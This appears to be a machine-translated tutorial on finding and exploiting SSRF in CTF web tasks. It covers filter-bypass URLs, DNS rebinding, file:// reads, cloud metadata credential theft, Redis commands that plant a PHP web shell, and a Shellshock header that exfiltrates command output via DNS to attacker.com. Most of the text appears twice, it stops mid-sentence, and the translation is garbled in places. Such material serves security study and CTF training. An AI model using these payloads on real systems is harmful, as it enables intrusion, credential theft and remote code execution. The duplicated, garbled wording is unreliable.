SSRF confirmation: from suspicion to proof-of-concept
Before you go through bypass techniques, prove that the server is running outwards at all at the address from user input. Two scenarios: classic SSRF (the response of the internal service is visible in the application's HTTP response) and the sling SSRF (the answer is not visible, the server silently executes the request). More information in our material about creating ctf tasks.
For classic SSRF, stop setting up your server URL. There is usually enough on the CTF python3 -m http.server 8080 on VPS – if the logs appear in the incoming GET from the IP task, SSRF is confirmed.
For blind SSRF you need an out-of-band (OOB) channel. The standard tool is Burp Collaborator (Burp Suite Pro). Free alternatives: interactsh from ProjectDiscovery, webhook.site, canarytokens. You put the generated domain in a suspicious parameter - if Collaborator captures DNS-lookup or HTTP request, the server has accessed the specified address. There is a vulnerability. If the Collaborator default domain (oastify.com) filtered — raise your Collaborator server to VPS. A default domain often hits the blocklists, it is a known pain.
Even if HTTP traffic is blocked out, DNS resols are almost always allowed. Payload View http://uniqueid.your-collaborator.com may not pass through HTTP, but the DNS request is recorded – this is enough for confirmation. DNS is almost always.
Another method for a semi-blind scenario (no response, but there are differences in behavior): send requests to http://127.0.0.1
ORT/ with different ports and measure response time or status codes. An open port (6379 for Redis, 3306 for MySQL, 9200 for Elasticsearch) will return the answer faster or with a different code than closed. For automation - ffuf with wordlist ports and filter -fs 0 (Cut off empty answers). This is not only a confirmation of SSRF, but also a scanning of the internal network – Network Service Discovery (T1046, Discovery tactics on MITRE ATT&CK).
Bypass SSRF filters: full arsenal bypass-technician
In real CTF assignments, direct request to 127.0.0.1 not going through – it costs blacklist or whitelist. Let's look at each type of filter with specific server-side request forgery bypass examples.
Alternative IP Address Views
Blacklist filter checks string for entry 127.0.0.1, localhost, 10.x.x.x, 192.168.x.x, 172.16-31.x.x. Blacklist problem: one IP can be written in a dozen ways, and regex verifies the string view, not the numerical value.
http://2130706433/
http://0x7f000001/
http://0177.0.0.1/
http://127.1/
http://0/
http://[::1]/
http://[0000::1]:80/
http://127.0.0.1.nip.io/
http://0x7f.0.0.1/
Which option will work depends on the HTTP client on the server. Python requests on Linux accepts octal through inet_aton from glibc, and Java InetAddress - no. If you managed to define a task stack (through answer headers, error messages, application behavior), select a view for a specific parser. The SSRF payload list from the PayloadsAllTheThings repository (Server Side Request Forgery) contains dozens of options sorted by filter type.
DNS-services nip.io and slip.io deserve special attention: request to http://127.0.0.1.nip.io/ will be isolated in 127.0.0.1, but the string check of the filter may not recognize the IP in subdomain format. The filter sees "some kind of .nip.io domain" and DNS returns 127.0.0.1. Simple and beautiful.
URL parser and bypass whitelist SSRF
The Whitelist filter only allows requests to certain domains. This is stronger than blacklist, but the URL specification (RFC 3986) contains designs that filter developers miss. According to PortSwigger, the main techniques of bypassing whitelist SSRF:
Embedded (@). URL https://allowed-host@evil-host by RFC indicates the host evil-host with credentials allowed-host. If the filter checks the start of the URL through startswith('https://allowed-host') – it will miss the payload, and the HTTP client will go to evil-host.
Fragment (#). URL https://evil-host#allowed-host contains fragment that is not sent to the server when you request HTTP request, but can cheat string verification on entry allowed-host.
DNS hierarchy. Subdomain https://allowed-host.evil-host passes the check "contains a string allowed-host"but will resolate the DNS of the attacker.
Double URL encoding. Some filters decode the URL once and the HTTP client twice. The symbol %2570 after the first decoding becomes %70, after the second – p. The filter checks the line with %70, the client receives p - bypass.
URL parser confusion — inconsistency between how a URL parses a filter and how an HTTP client interprets it is one of the most powerful bypass techniques. On CTF, this is often implemented as a difference between urlparse() and actual behavior requests.get() in Python. Combine: https://allowed-host#@evil-host can bypass both whitelist checking and parser at the same time.
Redirect-based SSRF: open redirect and r3dir
If the application is followed by HTTP redirects (Python requests, PHP curl with CURLOPT_FOLLOWLOCATION, Java HttpURLConnection – by default follow), URL verification occurs only for the first query. Attack:
The filter checks the URL, sees the allowed domain - passes
The server sends GET to this domain
The domain responds 302 Found with Location: http://127.0.0.1/admin
HTTP client follows a redirect without re-validation
On CTF, this is often implemented through open redirect on the most targeted server. Find the endpoint /redirect?url=http://127.0.0.1/, put it in the SSRF parameter - the filter sees "your" domain and passes. Redirect based SSRF is one of the first bypasss to try.
If there is no open redirect on the target server, try r3dir. This is a public service (r3dir.me): request curl "https://302.r3dir.me/--to/?url=http://127.0.0.1" returns 302 Found with Location: http://127.0.0.1. The filter sees the domain r3dir.me (external, not in blacklist'e), the HTTP client follows a redirect on localhost.
r3dir allows you to change the URL schema: https://302.r3dir.me/--to/?url=file:///etc/passwd send a redirect from HTTPS to file:// – if the HTTP client supports this scheme, you get reading local files through redirect. To bypass whitelist r3dir supports arbitrary domain prefix: http://allowed-domain.--.encoded-payload.302.r3dir.me – line allowed-domain ignored by the server, but can pass whitelist validation.
Subtlety with status codes: 301, 302, 303 cause most HTTP clients to change the method to GET. And 307 and 308 retain the original method. On CTF, this is important when SSRF via POST-parameter, and the internal service gives data only on GET. r3dir allows you to choose a status code through a subdomain: 301.r3dir.me, 307.r3dir.me etc.
DNS rebinding: time-of-check vs time-of-use
DNS rebinding exploits the gap between the moment of verification and the moment of use of the URL:
Resolvit domain filter – gets external IP. The check is passed.
HTTP client resolvit the same domain to send a request – DNS record has already changed to 127.0.0.1.
To create a rebinding domain, you can use the rebinder service from taviso: https://lock.cmpxchg8b.com/rebinder.html. Enter two IP (external and target internal), get a domain that alternates DNS responses. IPs are randomly alternated – several attempts may be required. For a more predictable result, lift your own TTL-controlled DNS server.
On CTF DNS rebinding is less common because it requires a specific filter implementation: a separate DNS resuls for verification before sending a request. But when it meets, it’s usually a high-score job, and the competition for a decision is lower. If you see a double DNS in the task, immediately think rebinding.
Operation of SSRF vulnerabilities: from file reading to RCE
file:// and gopher:// – attacks on internal services through URL schemes
Many HTTP clients support not only http:// and https://. If the filter checks only the host, and not the circuit, a serious attack vector is opened.
file:// – classics CTF. curl, PHP file_get_contents(), Java URL.openStream() support this scheme. SSRF is turned into reading arbitrary files. Typical goals: /etc/passwd (LFI confirmation) /proc/self/environ (variables of surroundings with secrets) /proc/self/cmdline (app launch arguments), configuration files (.env, config.py), flag in /flag.txt or /app/flag. If direct file:// blocked – combine with redirect: https://302.r3dir.me/--to/?url=file:///etc/passwd.
gopher:// is a text protocol that allows you to send arbitrary data to any host and port. According to YesWeHack, gopher is the main vector of SSRF escalation to RCE through the internal services of Redis, FastCGI and MySQL.
SSRF to Redis to RCE. Redis listens to 127.0.0.1:6379 without authentication. Through gopher:// a sequence of Redis commands is sent. The attack works only when the conditions are met: Redis is running without AUTH and without protected-mode (included by default with Redis 3.2+), the process has the right to write to the web-root. In Redis 6+/7+, all these conditions are rarely met without additional misconfiguration – but on CTF Redis is usually specially configured without protection. Example of commands:
SET shell "<?php system($_GET['cmd']);?>"
CONFIG SET dir /var/www/html/
CONFIG SET dbfilename shell.php
SAVE
QUIT
These commands write a PHP-hell to the disk through the Redis base storage mechanism. To generate URL-encoded gopher-payload, Gopherus is used (a 2020 archive project, but still works): gopherus --exploit redis. A similar chain for FastCGI: gopherus --exploit fastcgi generates a payload, which through gopher:// sends a FastCGI query with a parameter PHP_VALUE, including auto_prepend_file for code injection.
Additional URLs: dict:// (sends one line to the port – useful for fingerprint services), sftp://, tftp://. The set of supported schemes depends on the stack: PHP with curl-wrappers supports maximum set, Java is limited. Java HttpURLConnection default does not follow redirects between different protocols (HTTP→HTPS or HTTP→file) – this is documented behavior and an important limitation for redirect-based bypasss with switching to file:// or gopher://.
Cloud metadata operation via SSRF
On CTF with cloud infrastructure (or simulating it) the main goal of SSRF is metadata endpoint. In terms of MITRE ATT&CK, this is the technique T1552.005 – Cloud Instance Metadata API (Credential Access).
AWS IMDSv1 - the most tidbit case. GET request to http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name> returns AccessKeyId, SecretAccessKey and SessionToken without authentication. IMDSv1 remains a default only in the old instances; since 2019, AWS has been promoting IMDSv2, and since 2024 forcibly includes IMDSv2-only on new accounts and AMI. On CTF IMDSv1 is still often emulated, but in real infrastructure there are less and less. On the CTF usually it is enough to turn to /latest/meta-data/ through SSRF and recursively subtract credentials.
IMDSv2 Complicating Life: A Preliminary PUT Request with a Title is required X-aws-ec2-metadata-token-ttl-seconds to get session token. Through a typical GET-based SSRF, this is not possible – you need a gopher:// or HTTP request smuggling.
GCP requires a headline Metadata-Flavor: Google when requesting to http://metadata.google.internal/computeMetadata/v1/. Azure – headline Metadata: true when requesting to http://169.254.169.254/metadata/instance. Both cases are more complex than IMDSv1 AWS: not every HTTP client allows you to control the headers via the SSRF parameter.
Access to internal services through the SSRF in the cloud is not only CTF exotic. According to the IBM X-Force Threat Intelligence Index 2025, the increase in attacks using valid credentials was 71% year on year. Cloud credentials obtained through SSRF to metadata-service is one of the possible sources of such data (although there are no direct statistics on the share of SSRF in this figure).
Blind SSRF + Shellshock: chain to command execution
Blind SSRF at first glance — deadlock: the server sends a request, but the answer is not visible. But the combination with other vulnerabilities turns blind SSRF into a full-fledged RCE.
The classic chain is SSRF + Shellshock (CVE-2014-6271). Vulnerability in GNU Bash to version 4.3, CVSS 9.8 CRITICAL, vector CVSS:3.1/AV:NAC:L/PR:N/UI:N/S:U/C:H/I:H, CWE-78 — OS Command Injection. EPSS = 1.0 – maximum scale. CVE in the CISA KEV catalog (added 2022-01-28): The vulnerability is recorded as exploited in the wild. The bug is ten years old, and it still pops up on the CTF – and on real servers too.
Script: through SSRF, a request to the internal CGI service is sent (http://internal-host/cgi-bin/script.sh). In the headline User-Agent transmitted by Shellshock-payload: () { :; }; /bin/nslookup $(whoami).attacker.com. If the internal service processes CGI through Bash, the command is executed, the result goes through the DNS to the controlled domain. On CTF this combination appears regularly. The “Collaborator Everywhere” extension for Burp Suite automatically adds OOB-payloads to outgoing query headlines and helps detect such chains.
Other chains to practice: SSRF via gopher to Redis with webshell record (described above), SSRF to internal API without authentication to read configuration with passwords (T1552.001 — Credentials In Files), SSRF to Kubernetes API through http://kubernetes.default.svc to extract cluster data.
SSRF web CTF writeup: step-by-step solution algorithm
See the parameter that accepts the URL – act on the algorithm.
Step 1: Confirm the SSRF. Set up the Collaborator/interactsh/VPS URL. If the callback comes, there is a vulnerability. Do not forget about non-standard entry points: titles X-Forwarded-Host, Referer, Host, parameters callback, webhook, image_url, src, file_url. According to YesWeHack, SSRF via SVG files (<image href="http://127.0.0.1/"/>), XML with external entities (XXE in conjunction with SSRF), PDF generators (wkhtmltopdf, Puppeteer) and even Referer-header for server analytics — real entry points that the CTF authors take on. PDF generators are especially dangerous: headless browser supports file:// and executes JavaScript, allowing you to subtract local files and send them to an external server via JS-fetch.
Step 2: define the type of filter. Send http://127.0.0.1 and http://your-external-server.com. The first is blocked, the second is blacklist. Both are blocked, only a specific domain passes - whitelist. Everything is blocked - the filter is according to the scheme, by port, or SSRF is not present.
Step 3: pick up bypass. For blacklist: alternative IP (decimal, hex, octal, IPv6), DNS services (nip.io), redirect through r3dir. For whitelist: URL parser (@, #, subdomains), open redirect on the target domain, DNS rebinding. For the schema filter: redirect from HTTPS to HTTP or file.
Step 4: exploit. Verification procedure: scanning ports through http://127.0.0.1
ORT/ (T1046 – Network Service Discovery) → reading files through file:///etc/passwd → cloud metadata through http://169.254.169.254/ (T1552.005) → RCE via gopher + Redis/FastCGI. Each step is a separate vector of escalation.
Before you go through bypass techniques, prove that the server is running outwards at all at the address from user input. Two scenarios: classic SSRF (the response of the internal service is visible in the application's HTTP response) and the sling SSRF (the answer is not visible, the server silently executes the request). More information in our material about creating ctf tasks.
For classic SSRF, stop setting up your server URL. There is usually enough on the CTF python3 -m http.server 8080 on VPS – if the logs appear in the incoming GET from the IP task, SSRF is confirmed.
For blind SSRF you need an out-of-band (OOB) channel. The standard tool is Burp Collaborator (Burp Suite Pro). Free alternatives: interactsh from ProjectDiscovery, webhook.site, canarytokens. You put the generated domain in a suspicious parameter - if Collaborator captures DNS-lookup or HTTP request, the server has accessed the specified address. There is a vulnerability. If the Collaborator default domain (oastify.com) filtered — raise your Collaborator server to VPS. A default domain often hits the blocklists, it is a known pain.
Even if HTTP traffic is blocked out, DNS resols are almost always allowed. Payload View http://uniqueid.your-collaborator.com may not pass through HTTP, but the DNS request is recorded – this is enough for confirmation. DNS is almost always.
Another method for a semi-blind scenario (no response, but there are differences in behavior): send requests to http://127.0.0.1
Bypass SSRF filters: full arsenal bypass-technician
In real CTF assignments, direct request to 127.0.0.1 not going through – it costs blacklist or whitelist. Let's look at each type of filter with specific server-side request forgery bypass examples.
Alternative IP Address Views
Blacklist filter checks string for entry 127.0.0.1, localhost, 10.x.x.x, 192.168.x.x, 172.16-31.x.x. Blacklist problem: one IP can be written in a dozen ways, and regex verifies the string view, not the numerical value.
http://2130706433/
http://0x7f000001/
http://0177.0.0.1/
http://127.1/
http://0/
http://[::1]/
http://[0000::1]:80/
http://127.0.0.1.nip.io/
http://0x7f.0.0.1/
Which option will work depends on the HTTP client on the server. Python requests on Linux accepts octal through inet_aton from glibc, and Java InetAddress - no. If you managed to define a task stack (through answer headers, error messages, application behavior), select a view for a specific parser. The SSRF payload list from the PayloadsAllTheThings repository (Server Side Request Forgery) contains dozens of options sorted by filter type.
DNS-services nip.io and slip.io deserve special attention: request to http://127.0.0.1.nip.io/ will be isolated in 127.0.0.1, but the string check of the filter may not recognize the IP in subdomain format. The filter sees "some kind of .nip.io domain" and DNS returns 127.0.0.1. Simple and beautiful.
URL parser and bypass whitelist SSRF
The Whitelist filter only allows requests to certain domains. This is stronger than blacklist, but the URL specification (RFC 3986) contains designs that filter developers miss. According to PortSwigger, the main techniques of bypassing whitelist SSRF:
Embedded (@). URL https://allowed-host@evil-host by RFC indicates the host evil-host with credentials allowed-host. If the filter checks the start of the URL through startswith('https://allowed-host') – it will miss the payload, and the HTTP client will go to evil-host.
Fragment (#). URL https://evil-host#allowed-host contains fragment that is not sent to the server when you request HTTP request, but can cheat string verification on entry allowed-host.
DNS hierarchy. Subdomain https://allowed-host.evil-host passes the check "contains a string allowed-host"but will resolate the DNS of the attacker.
Double URL encoding. Some filters decode the URL once and the HTTP client twice. The symbol %2570 after the first decoding becomes %70, after the second – p. The filter checks the line with %70, the client receives p - bypass.
URL parser confusion — inconsistency between how a URL parses a filter and how an HTTP client interprets it is one of the most powerful bypass techniques. On CTF, this is often implemented as a difference between urlparse() and actual behavior requests.get() in Python. Combine: https://allowed-host#@evil-host can bypass both whitelist checking and parser at the same time.
Redirect-based SSRF: open redirect and r3dir
If the application is followed by HTTP redirects (Python requests, PHP curl with CURLOPT_FOLLOWLOCATION, Java HttpURLConnection – by default follow), URL verification occurs only for the first query. Attack:
The filter checks the URL, sees the allowed domain - passes
The server sends GET to this domain
The domain responds 302 Found with Location: http://127.0.0.1/admin
HTTP client follows a redirect without re-validation
On CTF, this is often implemented through open redirect on the most targeted server. Find the endpoint /redirect?url=http://127.0.0.1/, put it in the SSRF parameter - the filter sees "your" domain and passes. Redirect based SSRF is one of the first bypasss to try.
If there is no open redirect on the target server, try r3dir. This is a public service (r3dir.me): request curl "https://302.r3dir.me/--to/?url=http://127.0.0.1" returns 302 Found with Location: http://127.0.0.1. The filter sees the domain r3dir.me (external, not in blacklist'e), the HTTP client follows a redirect on localhost.
r3dir allows you to change the URL schema: https://302.r3dir.me/--to/?url=file:///etc/passwd send a redirect from HTTPS to file:// – if the HTTP client supports this scheme, you get reading local files through redirect. To bypass whitelist r3dir supports arbitrary domain prefix: http://allowed-domain.--.encoded-payload.302.r3dir.me – line allowed-domain ignored by the server, but can pass whitelist validation.
Subtlety with status codes: 301, 302, 303 cause most HTTP clients to change the method to GET. And 307 and 308 retain the original method. On CTF, this is important when SSRF via POST-parameter, and the internal service gives data only on GET. r3dir allows you to choose a status code through a subdomain: 301.r3dir.me, 307.r3dir.me etc.
DNS rebinding: time-of-check vs time-of-use
DNS rebinding exploits the gap between the moment of verification and the moment of use of the URL:
Resolvit domain filter – gets external IP. The check is passed.
HTTP client resolvit the same domain to send a request – DNS record has already changed to 127.0.0.1.
To create a rebinding domain, you can use the rebinder service from taviso: https://lock.cmpxchg8b.com/rebinder.html. Enter two IP (external and target internal), get a domain that alternates DNS responses. IPs are randomly alternated – several attempts may be required. For a more predictable result, lift your own TTL-controlled DNS server.
On CTF DNS rebinding is less common because it requires a specific filter implementation: a separate DNS resuls for verification before sending a request. But when it meets, it’s usually a high-score job, and the competition for a decision is lower. If you see a double DNS in the task, immediately think rebinding.
Operation of SSRF vulnerabilities: from file reading to RCE
file:// and gopher:// – attacks on internal services through URL schemes
Many HTTP clients support not only http:// and https://. If the filter checks only the host, and not the circuit, a serious attack vector is opened.
file:// – classics CTF. curl, PHP file_get_contents(), Java URL.openStream() support this scheme. SSRF is turned into reading arbitrary files. Typical goals: /etc/passwd (LFI confirmation) /proc/self/environ (variables of surroundings with secrets) /proc/self/cmdline (app launch arguments), configuration files (.env, config.py), flag in /flag.txt or /app/flag. If direct file:// blocked – combine with redirect: https://302.r3dir.me/--to/?url=file:///etc/passwd.
gopher:// is a text protocol that allows you to send arbitrary data to any host and port. According to YesWeHack, gopher is the main vector of SSRF escalation to RCE through the internal services of Redis, FastCGI and MySQL.
SSRF to Redis to RCE. Redis listens to 127.0.0.1:6379 without authentication. Through gopher:// a sequence of Redis commands is sent. The attack works only when the conditions are met: Redis is running without AUTH and without protected-mode (included by default with Redis 3.2+), the process has the right to write to the web-root. In Redis 6+/7+, all these conditions are rarely met without additional misconfiguration – but on CTF Redis is usually specially configured without protection. Example of commands:
SET shell "<?php system($_GET['cmd']);?>"
CONFIG SET dir /var/www/html/
CONFIG SET dbfilename shell.php
SAVE
QUIT
These commands write a PHP-hell to the disk through the Redis base storage mechanism. To generate URL-encoded gopher-payload, Gopherus is used (a 2020 archive project, but still works): gopherus --exploit redis. A similar chain for FastCGI: gopherus --exploit fastcgi generates a payload, which through gopher:// sends a FastCGI query with a parameter PHP_VALUE, including auto_prepend_file for code injection.
Additional URLs: dict:// (sends one line to the port – useful for fingerprint services), sftp://, tftp://. The set of supported schemes depends on the stack: PHP with curl-wrappers supports maximum set, Java is limited. Java HttpURLConnection default does not follow redirects between different protocols (HTTP→HTPS or HTTP→file) – this is documented behavior and an important limitation for redirect-based bypasss with switching to file:// or gopher://.
Cloud metadata operation via SSRF
On CTF with cloud infrastructure (or simulating it) the main goal of SSRF is metadata endpoint. In terms of MITRE ATT&CK, this is the technique T1552.005 – Cloud Instance Metadata API (Credential Access).
AWS IMDSv1 - the most tidbit case. GET request to http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name> returns AccessKeyId, SecretAccessKey and SessionToken without authentication. IMDSv1 remains a default only in the old instances; since 2019, AWS has been promoting IMDSv2, and since 2024 forcibly includes IMDSv2-only on new accounts and AMI. On CTF IMDSv1 is still often emulated, but in real infrastructure there are less and less. On the CTF usually it is enough to turn to /latest/meta-data/ through SSRF and recursively subtract credentials.
IMDSv2 Complicating Life: A Preliminary PUT Request with a Title is required X-aws-ec2-metadata-token-ttl-seconds to get session token. Through a typical GET-based SSRF, this is not possible – you need a gopher:// or HTTP request smuggling.
GCP requires a headline Metadata-Flavor: Google when requesting to http://metadata.google.internal/computeMetadata/v1/. Azure – headline Metadata: true when requesting to http://169.254.169.254/metadata/instance. Both cases are more complex than IMDSv1 AWS: not every HTTP client allows you to control the headers via the SSRF parameter.
Access to internal services through the SSRF in the cloud is not only CTF exotic. According to the IBM X-Force Threat Intelligence Index 2025, the increase in attacks using valid credentials was 71% year on year. Cloud credentials obtained through SSRF to metadata-service is one of the possible sources of such data (although there are no direct statistics on the share of SSRF in this figure).
Blind SSRF + Shellshock: chain to command execution
Blind SSRF at first glance — deadlock: the server sends a request, but the answer is not visible. But the combination with other vulnerabilities turns blind SSRF into a full-fledged RCE.
The classic chain is SSRF + Shellshock (CVE-2014-6271). Vulnerability in GNU Bash to version 4.3, CVSS 9.8 CRITICAL, vector CVSS:3.1/AV:NAC:L/PR:N/UI:N/S:U/C:H/I:H, CWE-78 — OS Command Injection. EPSS = 1.0 – maximum scale. CVE in the CISA KEV catalog (added 2022-01-28): The vulnerability is recorded as exploited in the wild. The bug is ten years old, and it still pops up on the CTF – and on real servers too.
Script: through SSRF, a request to the internal CGI service is sent (http://internal-host/cgi-bin/script.sh). In the headline User-Agent transmitted by Shellshock-payload: () { :; }; /bin/nslookup $(whoami).attacker.com. If the internal service processes CGI through Bash, the command is executed, the result goes through the DNS to the controlled domain. On CTF this combination appears regularly. The “Collaborator Everywhere” extension for Burp Suite automatically adds OOB-payloads to outgoing query headlines and helps detect such chains.
Other chains to practice: SSRF via gopher to Redis with webshell record (described above), SSRF to internal API without authentication to read configuration with passwords (T1552.001 — Credentials In Files), SSRF to Kubernetes API through http://kubernetes.default.svc to extract cluster data.
SSRF web CTF writeup: step-by-step solution algorithm
See the parameter that accepts the URL – act on the algorithm.
Step 1: Confirm the SSRF. Set up the Collaborator/interactsh/VPS URL. If the callback comes, there is a vulnerability. Do not forget about non-standard entry points: titles X-Forwarded-Host, Referer, Host, parameters callback, webhook, image_url, src, file_url. According to YesWeHack, SSRF via SVG files (<image href="http://127.0.0.1/"/>), XML with external entities (XXE in conjunction with SSRF), PDF generators (wkhtmltopdf, Puppeteer) and even Referer-header for server analytics — real entry points that the CTF authors take on. PDF generators are especially dangerous: headless browser supports file:// and executes JavaScript, allowing you to subtract local files and send them to an external server via JS-fetch.
Step 2: define the type of filter. Send http://127.0.0.1 and http://your-external-server.com. The first is blocked, the second is blacklist. Both are blocked, only a specific domain passes - whitelist. Everything is blocked - the filter is according to the scheme, by port, or SSRF is not present.
Step 3: pick up bypass. For blacklist: alternative IP (decimal, hex, octal, IPv6), DNS services (nip.io), redirect through r3dir. For whitelist: URL parser (@, #, subdomains), open redirect on the target domain, DNS rebinding. For the schema filter: redirect from HTTPS to HTTP or file.
Step 4: exploit. Verification procedure: scanning ports through http://127.0.0.1